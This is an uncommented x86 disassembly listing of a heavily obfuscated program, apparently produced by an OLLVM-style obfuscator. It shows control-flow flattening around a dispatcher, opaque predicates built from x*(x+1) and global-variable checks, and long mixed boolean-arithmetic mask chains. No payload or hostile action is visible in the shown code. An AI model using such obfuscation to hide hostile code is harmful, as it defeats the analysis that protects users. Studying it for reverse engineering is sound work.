cmp eax, 0x9ea357a6
jne 0x402900
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1c0], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0xb2fa4f86
mov esi, edx
and esi, 0x4d05b078
and edx, 0x47dc681a
or eax, esi
mov esi, eax
xor esi, 0x12fa4286
xor eax, 0x4d05b079
mov edi, eax
and edi, 0xa8018d10
and esi, 0x57fe72ee
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0xb82397e5
mov ebx, edi
not ebx
and edi, 0x57fe72ef
or ecx, edx
or eax, ebx
and ebx, 0xa8018d10
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
mov edx, eax
and edx, 0x15dd44ad
and esi, 0xea22bb52
or esi, edx
mov edx, ecx
xor edx, 0xa8229340
xor ecx, 0x47dc681a
or eax, ecx
and ecx, 0x15dd44ad
and edx, 0xea22bb52
or edx, ecx
not eax
xor edx, esi
or eax, edx
cmp eax, 0xffffffff
sete ah
cmp dword [0x460980], 0xa
setl al
mov edx, eax
or al, ah
xor dl, ah
mov ecx, edx
xor cl, 1
mov ah, cl
and dl, cl
xor ah, al
or al, cl
xor dl, 1
xor al, 1
or al, ah
mov ah, dl
or dl, cl
mov ch, al
xor ah, cl
xor dl, 1
xor ch, 1
or dl, ah
mov ah, ch
and ah, al
xor ah, 1
or ah, al
or al, cl
xor ah, 1
mov cl, al
or ah, ch
mov ch, dl
xor ch, 1
and ch, ah
xor ah, 1
and ah, dl
mov edx, 0xf9cfb7c
or ah, ch
xor cl, ah
test cl, 1
mov ecx, 0x55c32
cmovne ecx, edx
test al, 1
mov edx, 0x55c32
jmp 0x4028e7
cmp eax, 0x62739007
je 0x413ae0
cmp eax, 0x62f594b0
jne 0x402900
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x118]
mov eax, 0x8e025d21
jmp 0x402900
cmp eax, 0xe348c39a
je 0x413af5
cmp eax, 0xe443a581
jne 0x402900
mov ecx, dword [0x460984]
mov edi, 0xcdda00ad
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x657c2a50
and eax, 0x588a8f5c
mov esi, ecx
and esi, 0x9a83d5ae
or edx, esi
mov esi, edx
xor esi, 0x140250
xor edx, 0x39523
and edx, 0x656bbd23
and esi, 0x9a9442dc
or esi, edx
mov edx, ecx
or edx, 0x656bbd22
and ecx, 0xa77570a3
and edx, 0x656bbd23
or eax, ecx
xor edx, esi
xor eax, 0x588a8f5c
mov esi, edx
not esi
and edx, 0x9e5a2fa1
and esi, 0x61a5d05e
or edx, esi
mov esi, 0xa0854a4a
xor edx, 0x9e5a2fa1
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe10d1dd5
and ecx, 0x1ef2e22a
or eax, ecx
xor eax, 0xe10d1dd5
sete cl
setne ah
cmp dword [0x460980], 0xa
setl ch
setge al
or cl, ch
xor ch, ah
mov dl, ch
xor dl, al
xor al, ah
and dl, ch
and al, cl
mov ah, dl
mov ecx, edx
xor ah, 1
and cl, ah
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
mov ah, dl
or cl, ch
xor ah, al
xor cl, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, al
mov eax, 0xcdda00ad
cmovne eax, edi
test cl, 1
cmove eax, edi
jmp 0x402900
cmp eax, 0x210cdbab
je 0x413b1d
cmp eax, 0x21163875
jne 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xd29091a0
mov edx, eax
and edx, 0x204a4009
and eax, 0xd252e56
or ecx, edx
xor ecx, 0xd29091a0
or eax, ecx
mov esi, eax
xor esi, 0xc1153e18
mov ecx, eax
and ecx, 0x37e7cde
and esi, eax
not eax
and eax, 0xfc818321
mov ebx, esi
not ebx
and esi, 0xe950d810
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x37e7cde
xor ecx, 0x3d94bd39
xor eax, 0xfc818320
and ecx, edx
and eax, 0xfffffffe
mov edx, ecx
not edx
and ecx, 0xe950d810
mov edi, edx
or edx, ebx
and edi, 0x16af27ef
and ebx, 0x16af27ef
or ecx, edi
or esi, ebx
not edx
xor esi, ecx
or edx, esi
mov ecx, edx
not ecx
and edx, 0xf749ac18
and ecx, 0x8b653e7
or edx, ecx
xor edx, 0x365c9201
or eax, edx
mov ecx, eax
xor ecx, 0xa35f7840
mov edx, eax
and edx, 0xf27aa6cc
and ecx, eax
not eax
and eax, 0xd855933
or edx, eax
mov esi, edx
mov eax, edx
xor esi, 0x82082000
or edx, 0x442006b8
xor eax, 0x1055800
and edx, 0x647206f8
and esi, 0x830d7800
or esi, edx
mov edx, ecx
not edx
and ecx, 0x9b8df907
or eax, edx
and edx, 0x647206f8
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x60b3c0d1
or eax, ecx
not ecx
and ecx, 0x5ca087bf
and eax, 0xa35f7840
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9ab8ea05
and ecx, 0x654715fa
or eax, ecx
xor eax, 0x654715fa
setne ah
sete dl
cmp dword [0x460980], 0xa
setl ch
mov cl, ch
or ah, ch
or cl, dl
xor dl, ch
xor cl, 1
or cl, dl
and dl, ch
mov ch, ah
mov al, cl
xor dl, 1
not al
xor ch, dl
or dl, ah
and al, cl
xor dl, 1
xor al, 1
or dl, ch
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
and ah, dl
xor dl, 1
and al, dl
or dl, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xe0c21d98
cmovne ecx, esi
test dl, 1
mov edx, 0xe0c21d98
cmovne edx, ecx
test al, 1
jmp 0x4028ed
cmp eax, 0xbd801773
je 0x413c0f
cmp eax, 0xbf15a03b
jne 0x402900
movzx ecx, byte [ebp - 0x99]
movzx edx, byte [ebp - 0x9a]
mov esi, 0xfd20f6dd
mov ch, cl
mov ah, dl
xor ch, 1
xor ah, 1
mov al, ch
mov bh, ch
xor al, ah
mov dh, al
and al, ch
and dh, ah
xor al, 1
xor dh, 1
mov bl, dh
xor bl, al
or al, dh
mov dh, dl
xor al, 1
and dh, ah
or al, bl
mov bl, cl
xor dh, 1
or cl, dl
and bl, ch
or dh, ah
xor cl, 1
xor bl, 1
xor dh, 1
xor bh, bl
or bl, ch
or dh, dl
xor bl, 1
or bl, bh
xor dh, bl
or cl, dh
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
mov ch, dl
or dl, cl
xor ch, cl
mov cl, al
xor dl, 1
xor cl, ah
or ah, al
or dl, ch
xor ah, 1
xor dl, al
or ah, cl
mov ecx, 0x61946585
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x61946585
jmp 0x412955
cmp eax, 0x7ef816e1
je 0x413c19
cmp eax, 0x7fd18328
jne 0x402900
mov eax, dword [ebp - 0x18]
mov edi, 0xffc1e4de
mov eax, dword [eax]
mov eax, dword [eax + 0x80]
add eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x48fd8316
and eax, 0xb7027ce9
or ecx, eax
mov eax, ecx
xor ecx, 0xa50220e1
xor eax, 0x48fd8316
mov edx, eax
and ecx, 0xed2622f1
and edx, 0x12d9dd0e
and eax, 1
or edx, ecx
mov esi, edx
xor esi, 0x12d9dd0e
xor edx, 0x52400c0
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
and edx, 0x152545ce
or eax, esi
mov esi, ecx
and esi, 0xeadaba30
or edx, esi
mov esi, eax
not esi
and eax, 0x152545cf
or ecx, esi
and esi, 0xeadaba30
or eax, esi
not ecx
mov esi, 0x74037a4
xor eax, edx
or ecx, eax
xor ecx, 0xffffffff
sete dl
setne ah
cmp dword [0x460980], 0xa
setge al
setl ch
mov cl, al
and al, dl
xor cl, ah
and ah, ch
or ch, dl
mov edx, 0xffc1e4de
xor ch, 1
or al, ah
or al, ch
xor al, cl
cmovne edx, esi
test al, cl
cmove edx, esi
test al, al
cmove edx, edi
test al, cl
cmovne edx, edi
mov eax, edx
jmp 0x402900
cmp eax, 0xfd6acd74
je 0x413c26
cmp eax, 0xfe3d4f10
jne 0x402900
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov dword [eax], 0
mov eax, 0xbb2d3cc1
jmp 0x402900
cmp eax, 0x27aac24f
jne 0x413c30
mov eax, dword [ebp - 0x40]
mov edi, 0x4de39fc
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
mov eax, ecx
not eax
and ecx, 0xada08feb
and eax, 0x525f7014
or ecx, eax
mov eax, ecx
xor eax, 0xa40007e1
xor ecx, 0x50015010
and ecx, 0x59a1d81a
and eax, 0xa65e27e5
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x4801c000
xor esi, 0xa65e27e5
xor eax, 0x11014810
mov ecx, esi
or ecx, 0x40000000
and esi, 0x37e81f9a
and edx, 0xc817e065
and eax, 0xb10f6a95
or edx, esi
mov esi, ecx
and esi, 0xef0956a
or eax, esi
mov esi, edx
xor esi, 0x80076005
xor edx, 0x77e81f9a
or ecx, edx
and edx, 0xef0956a
and esi, 0xf10f6a95
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov eax, ecx
not eax
and ecx, 0x7ac5d1b5
and eax, 0x853a2e4a
or ecx, eax
cmp ecx, 0x7ac5d1b5
mov ecx, dword [0x460984]
setne byte [ebp - 0xa5]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xd9fe871b
mov edx, eax
and edx, 0x48e00508
and ecx, eax
not eax
and eax, 0x911e8213
or edx, eax
xor edx, 0x48e00508
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x4ae26922
and eax, 0xb51d96dd
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0x800c0411
xor esi, 0x6ce311c6
xor ecx, 0x900cca20
mov eax, esi
or eax, 1
and esi, 0x7713fbaa
and edx, 0x88ec0455
and ecx, 0xb0addaa0
or edx, esi
mov esi, eax
and esi, 0x4f52255e
or ecx, esi
mov esi, edx
xor esi, 0x80ac0000
xor edx, 0x7713fbab
or eax, edx
and edx, 0x4f52255e
and esi, 0xb0addaa1
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x300103
and eax, 0xe5428a00
mov edx, ecx
or edx, 0x128d74ac
and esi, 0x12bd75af
and ecx, 0x8000050
and edx, 0x12bd75af
or ecx, esi
mov esi, 0xc49d63a3
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xe78b5d3e
and ecx, 0x1874a2c1
or eax, ecx
xor eax, 0xfd0629c2
setne dl
sete ah
cmp dword [0x460980], 0xa
setl cl
setge al
and dl, cl
and al, ah
mov ch, cl
or cl, ah
or al, dl
xor ch, ah
xor cl, 1
mov ah, al
or cl, ch
xor ah, 1
mov edx, ecx
mov ch, ah
xor ah, cl
xor cl, 1
and dl, al
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
cmovne edi, esi
test al, 1
mov eax, 0x4de39fc
cmovne eax, edi
test dl, dl
cmove eax, edi
jmp 0x402900
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x1bc], eax
mov eax, 0xed4f64b
jmp 0x402900
mov ecx, dword [0x460984]
mov edi, 0xffa2705d
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xdd821014
and eax, 0x2048e0c1
mov edx, ecx
and edx, 0x2340a0a
or ecx, 0x9786080a
or esi, edx
and ecx, 0x97870d2a
mov edx, esi
xor edx, 0x48001014
xor esi, 0x2050d2a
or eax, ecx
and esi, 0x97870d2a
and edx, 0x48301214
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xdfb61a1e
and ecx, 0x2049e5e1
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0x3de8c046
and eax, 0xc2173fb9
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xc51ff967
mov esi, ecx
and esi, 0x3ae00698
or edx, esi
mov esi, eax
xor esi, 0xc0173920
xor eax, 0x3de8c047
or ecx, eax
and eax, 0x3ae00698
and esi, 0xc51ff967
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xffa2705d
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x7e30fb7e
and eax, 0x81cf0481
or eax, edx
xor eax, 0x81cf0481
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x460980], 0xa
setge ch
setl al
xor al, ah
xor ah, ch
xor dl, ch
and ah, ch
mov ecx, eax
or dl, ah
xor cl, 1
mov ch, dl
xor ch, 1
mov ah, ch
and ah, dl
xor ch, ah
xor ah, 1
or ah, dl
xor ah, 1
or ah, ch
mov dl, ah
and ah, cl
xor dl, 1
or cl, dl
and dl, al
or dl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xe6dbda02
cmovne esi, eax
test dl, dl
mov eax, esi
cmovne eax, edi
test cl, 1
cmovne eax, esi
jmp 0x402900
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov eax, dword [eax + 0x80]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
add eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov eax, 0x7fd18328
jmp 0x402900
mov eax, 0x33923154
jmp 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x659f59b1
and eax, 0x9a60a64e
or ecx, eax
mov eax, ecx
xor ecx, 0x800a404
xor eax, 0x659f59b1
mov edx, eax
and ecx, 0x4c99f595
and edx, 0xb3660a6a
and eax, 1
or edx, ecx
mov esi, edx
xor esi, 0xb3660a6a
xor edx, 0x89c510
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
and edx, 0x21edc530
or eax, esi
mov esi, ecx
and esi, 0xde123ace
or edx, esi
mov esi, eax
not esi
and eax, 0x21edc531
or ecx, esi
and esi, 0xde123ace
or eax, esi
not ecx
mov esi, 0x95c60f2b
xor eax, edx
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete cl
cmp dword [0x460980], 0xa
mov dh, dl
setl ah
setge ch
mov al, ah
or dl, ah
and dh, ch
and al, cl
xor cl, ah
and cl, ah
or al, dh
xor cl, 1
xor al, 1
mov ah, cl
or cl, dl
or al, ch
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or dl, ah
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x4e2ab49c
cmovne eax, esi
test dl, 1
mov edx, 0x4e2ab49c
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov eax, 0x32f2de7d
jmp 0x402900
mov eax, dword [0x460984]
lea edi, [eax + 1]
imul edi, eax
mov esi, edi
not esi
mov eax, edi
and eax, 0x6b74121e
or edi, 0xf5f06d40
mov edx, esi
and edx, 0x948bede1
and esi, 0xa07820f
or edx, eax
mov eax, edx
mov ebx, edx
xor eax, 0x948bede1
xor ebx, 0x9e847f5e
xor edx, 0x21500018
and ebx, eax
and edx, 0x31500979
mov ecx, ebx
not ecx
and ebx, 0xee478b4f
mov dword [ebp - 0xf4], ecx
and dword [ebp - 0xf4], 0x11b874b0
or ecx, edi
and edi, 0x11b874b0
add ebx, dword [ebp - 0xf4]
or esi, edi
not ecx
xor esi, ebx
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xa0ab3fe7
and esi, 0x5f54c018
or ecx, esi
mov esi, eax
and esi, 0xceaff686
and eax, 1
or esi, edx
xor ecx, 0x555b52a6
mov edx, esi
xor edx, 0x20400840
xor esi, 0x2aad480
or eax, edx
and esi, 0x13bad5b8
and eax, 0xec452a47
or eax, esi
mov esi, 0x62f594b0
xor eax, 0xec452a47
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x23b020d8
and ecx, 0xdc4fdf27
or ecx, edx
xor ecx, 0xdc4fdf27
or ecx, eax
xor ecx, 0xffffffff
sete cl
setne ah
cmp dword [0x460980], 0xa
mov ch, cl
setge al
mov edx, eax
or ch, al
inc dl
xor ch, 1
and dl, ah
xor ah, al
and ah, al
or ah, ch
mov ch, al
xor ch, cl
and ch, al
and al, cl
or al, dl
mov dl, ah
or al, ch
xor dl, 1
mov ch, al
mov cl, dl
xor dl, al
xor al, 1
and cl, al
or al, ah
and ch, ah
xor al, 1
or cl, ch
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x8e025d21
cmovne eax, esi
test cl, 1
mov ecx, 0x8e025d21
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x128000
and eax, 0x96a87f3b
and ecx, 0x694500c4
or edx, ecx
xor edx, 0x128000
or eax, edx
mov ecx, eax
not ecx
and eax, 0x5c2618aa
and ecx, 0xa3d9e755
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x4a844580
xor ecx, 0x3571986e
xor eax, 0xab3d0919
mov esi, ecx
and edx, 0x4fa4c5ae
and esi, 0xb05b3a51
and eax, ecx
or esi, edx
mov ecx, esi
mov edx, esi
xor ecx, 0xb05b3a51
xor edx, 0xd1e854d9
xor esi, 0x4fa4c5a2
and edx, ecx
and esi, 0xcff6fdb3
or eax, edx
mov edx, eax
not edx
and eax, 0x9e4c9176
and edx, 0x61b36e89
or eax, edx
mov edx, ecx
and edx, 0x3009024c
and ecx, 1
or edx, esi
mov esi, edx
xor esi, 0xbc684a0
xor edx, 0x10240
or ecx, esi
and edx, 0xc4317b52
mov esi, 0x44eeaf90
and ecx, 0x3bce84ad
or ecx, edx
xor ecx, 0x3bce84ad
or ecx, eax
mov eax, ecx
xor eax, 0x85fcba22
mov edx, ecx
and edx, 0x1702202
and eax, ecx
not ecx
and ecx, 0x848c9820
or edx, ecx
xor edx, 0x1702202
or eax, edx
mov ecx, eax
not ecx
and eax, 0x8e6e822e
and ecx, 0x71917dd1
or eax, ecx
mov ecx, eax
xor ecx, 0x8901008
xor eax, 0xd409c483
and ecx, 0x28f41378
and eax, 0xd70bec87
or eax, ecx
xor eax, 0xd70bec87
sete dl
setne cl
cmp dword [0x460980], 0xa
setge ah
mov al, ah
xor al, cl
or cl, ah
or ah, dl
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0xfcd35d0a
jmp 0x40c4ca
mov eax, 0x9cb3022a
jmp 0x402900
cmp byte [ebp - 0xa0], 0
mov eax, 0x47f8dc3e
mov ecx, 0x53bef015
cmovne eax, ecx
jmp 0x402900
mov eax, 0x5cd208c8
jmp 0x402900
mov eax, 0x6c8c1f41
jmp 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x206b0588
mov esi, eax
mov edi, eax
or esi, 0xc014a800
and edx, 0xe07fad88
and edi, 0x7804037
and eax, 0xccfa7488
or edi, edx
mov edx, ecx
and esi, 0xe07fad88
and edx, 0x18001240
and ecx, 0x33058b77
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0xc794e836
and esi, 0x386b17c9
or edx, esi
mov esi, edx
not esi
and edx, 0xccfa7488
mov edi, esi
and edi, 0x33058b77
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x98f96c6
xor eax, 0xffffffff
setne al
sete dl
cmp dword [0x460980], 0xa
setl ah
setge cl
and ah, al
mov al, cl
xor al, dl
and al, cl
and cl, dl
or cl, ah
or al, cl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ah, dl
mov ecx, 0x18767d0f
xor ah, 1
xor al, 1
or al, ah
xor ah, al
test al, 1
cmovne ecx, esi
test dl, dl
cmovne ecx, esi
test ah, 1
mov eax, 0x18767d0f
jmp 0x4104ca
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x134]
lea ecx, [ecx + ecx*4]
cmp dword [eax + ecx*4 + 0x10], 0
mov eax, dword [0x460984]
lea edx, [eax + 1]
setne byte [ebp - 0xa1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0x94afc268
mov ecx, eax
and ecx, 0x6b503d96
and eax, 0xda062c47
or esi, ecx
mov ecx, edx
and ecx, 1
mov edi, esi
xor edi, 0x48c4060
xor esi, 0x62500c84
or ecx, edi
and esi, 0xf2738e8c
and ecx, 0xd8c7173
or ecx, esi
mov esi, ecx
xor esi, 0x8042043
xor ecx, 0xf2738e8c
mov edi, ecx
or ecx, edx
and edx, 0x25f9d3b8
and edi, 0x25f9d3b8
and esi, 0xda062c47
or esi, edi
or eax, edx
not ecx
xor eax, esi
mov esi, 0x112137fa
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xf1a03240
and eax, 0xe5fcdbf
or ecx, eax
xor ecx, 0xf1a03240
sete ch
setne dl
cmp dword [0x460980], 0xa
mov dh, ch
setl ah
setge cl
or dh, cl
mov al, ah
or cl, dl
or al, dl
mov bl, dh
xor dl, ah
xor ah, ch
xor cl, 1
xor bl, al
or al, dh
or cl, ah
mov ah, dl
xor al, 1
xor ah, cl
or cl, dl
or al, bl
xor cl, 1
xor al, 1
or cl, ah
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x4b326695
cmovne ecx, esi
test al, 1
mov esi, 0x4b326695
jmp 0x411dcc
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xac5aac72
and edx, 0xac5aac72
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xfd1fe7a6
and edx, 0x2e01859
or ecx, edx
mov edx, ecx
xor edx, 0x51454bd5
xor ecx, 0xaebab42a
andn esi, eax, ecx
and edx, eax
or edx, esi
mov esi, 0x143a497a
xor ecx, edx
test ecx, edx
sete cl
setne ah
cmp dword [0x460980], 0xa
setge al
setl dl
and ah, dl
and al, cl
or dl, cl
or al, ah
xor dl, 1
or dl, al
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, dl
and ah, al
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xca25e049
cmovne edx, esi
test al, 1
mov eax, 0xca25e049
jmp 0x411a5a
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp dword [eax], ecx
mov eax, 0x4f22960f
setl byte [ebp - 0xa4]
jmp 0x402900
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov eax, 0xd09938b9
jmp 0x402900
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xd
mov eax, 0x755117df
jmp 0x402900
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0xb0]
mov eax, 0xb75074f0
jmp 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
mov esi, ecx
or edx, 0xb0882dc
and esi, 0xb0882dc
and ecx, 0x9f6730fe
mov edi, eax
and edi, 0xf4f77d22
and edx, 0xb0882dd
and eax, 0x6098cf01
or edi, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x6098cf01
mov edi, esi
and edi, 0x9f6730fe
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x916c46fa
setne dl
sete ah
cmp dword [0x460980], 0xa
mov ch, dl
setl cl
setge al
or dl, cl
and ch, al
and cl, ah
or cl, ch
xor cl, 1
or cl, al
or al, ah
mov ah, dl
xor ah, al
or al, dl
xor cl, 1
xor al, 1
or al, ah
xor al, cl
mov edx, eax
not dl
and dl, cl
test al, 1
mov ecx, 0x6f2e48b7
cmovne ecx, esi
test dl, 1
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, esi
jmp 0x412958
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, 0x916c46fa
jmp 0x402900
mov eax, 0x40c804e0
jmp 0x402900
mov eax, 0xc4aba24a
jmp 0x402900
mov eax, dword [ebp - 0x18]
mov eax, 0xeb358c8
jmp 0x402900
mov eax, 0xe0c21d98
jmp 0x402900
mov eax, dword [0x460984]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0x56991b62
and eax, 0xa966e49d
or esi, eax
mov edx, esi
xor edx, 0x56991b62
mov eax, esi
xor esi, 0x7599e104
xor eax, 0xa966e49d
mov ecx, edx
or ecx, 0xdcff0599
mov edi, eax
and esi, edx
and edi, 0x20004004
and edx, 0xcdeaa8e8
mov ebx, ecx
and ebx, 0x5bd1bbea
or edi, ebx
mov ebx, esi
not ebx
and esi, 0xa42e4415
or ecx, ebx
and ebx, 0x5bd1bbea
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x28d0ed90
and esi, 0xd72f126f
or ecx, esi
mov esi, eax
and esi, 0x32155717
and eax, 1
or esi, edx
xor ecx, 0xbd017f7
xor esi, 0xcdeaa8e9
or eax, esi
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x63e5b78f
mov edx, eax
not edx
mov esi, eax
or esi, 0x8020000
and ecx, eax
and esi, 0x4ac6370c
and edx, 0x21218083
mov edi, ecx
not edi
and ecx, 0xb539c8f3
or edx, esi
or eax, edi
and edi, 0x4ac6370c
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x9c1a4870
and eax, 0x63e5b78f
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xab28a8d4
and ecx, 0x54d7572b
or eax, ecx
mov ecx, eax
xor ecx, 0x2a200004
xor eax, 0x4131123
and eax, 0x851bb9f3
and ecx, 0x7ae4460c
or ecx, eax
mov eax, ecx
xor eax, 0x11090d1
xor ecx, 0x50400204
and ecx, 0xd44b2b26
and eax, 0x2bb4d4d9
or eax, ecx
xor eax, 0x2bb4d4d9
sete al
setne cl
cmp dword [0x460980], 0xa
setl dl
setge ah
and dl, al
and cl, ah
xor al, ah
or dl, cl
mov ecx, edx
xor cl, ah
and cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or dl, al
or cl, ah
xor cl, al
mov eax, 0x9cb3022a
mov ch, cl
xor ch, dl
test dl, dl
mov edx, 0x5a6a6342
cmovne eax, edx
test cl, 1
not ch
cmovne eax, edx
test ch, 1
mov edx, 0x9cb3022a
cmove eax, edx
jmp 0x402900
cmp dword [ebp - 0x1c4], 0
mov eax, 0x60899029
mov ecx, 0xa6ec9b05
cmovns eax, ecx
jmp 0x402900
mov eax, dword [ebp - 0x34]
mov edi, 0x89ae295e
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0x124], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xacce7567
and eax, 0x53318a98
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x42100280
xor edx, 0xacce7567
xor ecx, 0xacce7566
and ecx, edx
and eax, 0x429076a4
and edx, 0xbd6f895b
or edx, eax
mov eax, ecx
not eax
and ecx, 0xc440d07c
mov esi, eax
and esi, 0x3bbf2f83
or ecx, esi
mov esi, edx
xor esi, 0x84408058
xor edx, 0x429076a5
or eax, edx
and edx, 0x3bbf2f83
and esi, 0xc440d07c
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x58230dfb
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xb6731c3f
andn eax, eax, eax
and edx, 0x498ce3c0
or ecx, edx
xor ecx, 0xb6731c3f
or eax, ecx
mov ecx, eax
not ecx
